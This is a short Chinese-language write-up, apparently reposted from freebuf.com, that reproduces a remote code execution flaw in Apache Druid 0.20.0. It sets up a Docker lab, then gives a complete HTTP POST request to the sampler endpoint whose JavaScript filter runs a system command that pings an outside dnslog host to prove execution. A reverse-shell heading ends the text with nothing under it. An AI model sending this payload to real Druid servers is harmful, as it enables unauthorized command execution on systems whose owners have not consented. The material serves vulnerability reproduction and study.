环境搭建:
下载环境
wget https://github.com/apache/druid/archive/druid-0.20.0.zip
解压
进入docker目录进行部署
Cd distribution/docker/
Docker-compose up -d
查看部署情况
Docker ps
访问目标
http:192.168.48.177:8081
http:192.168.48.177:8888
漏洞复现
poc:
| POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.48.177:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 998
Connection: close{“type”: “index”, “spec”: {“ioConfig”: {“type”: “index”, “inputSource”: {“type”: “inline”, “data”: “{\”isRobot\”:true,\”channel\”:\”#x\”,\”timestamp\”:\”2021-2-1T14:12:24.050Z\”,\”flags\”:\”x\”,\”isUnpatrolled\”:false,\”page\”:\”1\”,\”diffUrl\”:\”https://xxx.com\”,\”added\”:1,\”comment\”:\”Botskapande Indonesien omdirigering\”,\”commentLength\”:35,\”isNew\”:true,\”isMinor\”:false,\”delta\”:31,\”isAnonymous\”:true,\”user\”:\”Lsjbot\”,\”deltaBucket\”:0,\”deleted\”:0,\”namespace\”:\”Main\”}”}, “inputFormat”: {“type”: “json”, “keepNullColumns”: true}}, “dataSchema”: {“dataSource”: “sample”, “timestampSpec”: {“column”: “timestamp”, “format”: “iso”}, “dimensionsSpec”: {}, “transformSpec”: {“transforms”: [], “filter”: {“type”: “javascript”, “dimension”: “added”, “function”: “function(value) {java.lang.Runtime.getRuntime().exec(‘ping -c 4 91ps7j.dnslog.cn’)}”, “”: {“enabled”: true}}}}, “type”: “index”, “tuningConfig”: {“type”: “index”}}, “samplerConfig”: {“numRows”: 500, “timeoutMs”: 15000}} |
通过dnslog接收消息,证明漏洞存在
反弹shell:
来源:freebuf.com 2021-02-17 23:14:24 by: quanpangshu
请登录后发表评论
注册